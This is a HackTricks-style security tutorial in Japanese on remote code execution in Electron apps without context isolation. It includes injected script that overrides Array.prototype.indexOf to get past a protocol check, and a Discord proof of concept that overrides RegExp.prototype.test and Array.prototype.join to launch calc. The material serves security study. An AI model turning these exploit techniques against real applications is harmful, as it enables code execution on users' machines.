Electron contextIsolation RCE via preload code

htARTE(HackTricks AWS Red Team Expert) からAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

Example 1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 からの例

このコードは、デフォルトブラウザでhttp(s)リンクを開きます:

file:///C:/Windows/systemd32/calc.exe のようなものを使用して calc を実行することができますが、SAFE_PROTOCOLS.indexOf がそれを防いでいます。

したがって、攻撃者はXSSまたは任意のページナビゲーションを介してこのJSコードを注入できます:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

攻撃者は、SAFE_PROTOCOLS.indexOfへの呼び出しは常に1337を返すため、保護をバイパスしてcalcを実行できます。最終的なエクスプロイト:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

他の方法を確認して、許可を求めるプロンプトなしにプログラムを実行する方法を確認してください。

おそらく、コードをロードして実行する別の方法は、file://127.0.0.1/electron/rce.jarのようなものにアクセスすることです。

例2: DiscordアプリRCE

https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1からの例

preloadスクリプトをチェックすると、DiscordがWebページにDiscordNative.nativeModules.requireModule('MODULE-NAME')を介して呼び出される許可されたモジュールを許可する関数を公開していることがわかりました。 ここでは、_child_process_モジュールなど、RCEに直接使用できるモジュールを使用することはできませんでしたが、JavaScriptの組み込みメソッドをオーバーライドし、公開されたモジュールの実行に干渉することでRCEを達成できるコードを見つけました

以下はPoCです。RegExp.prototype.testArray.prototype.joinをオーバーライドしながら、"discord_utils"というモジュールで定義されたgetGPUDriverVersions関数をdevToolsから呼び出すと、calcアプリケーションが表示されることを確認できました。

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions 関数は、以下のように "execa" ライブラリを使用してプログラムを実行しようとします:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

通常、_execa_はnvidiaSmiPath変数で指定された"nvidia-smi.exe"を実行しようとしますが、RegExp.prototype.testArray.prototype.joinが上書きされたため、引数は"calc"に置き換えられます。

具体的には、引数は次の2つの部分を変更することで置き換えられます。

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

htARTE(HackTricks AWS Red Team Expert)を通じてゼロからヒーローまでのAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

Last updated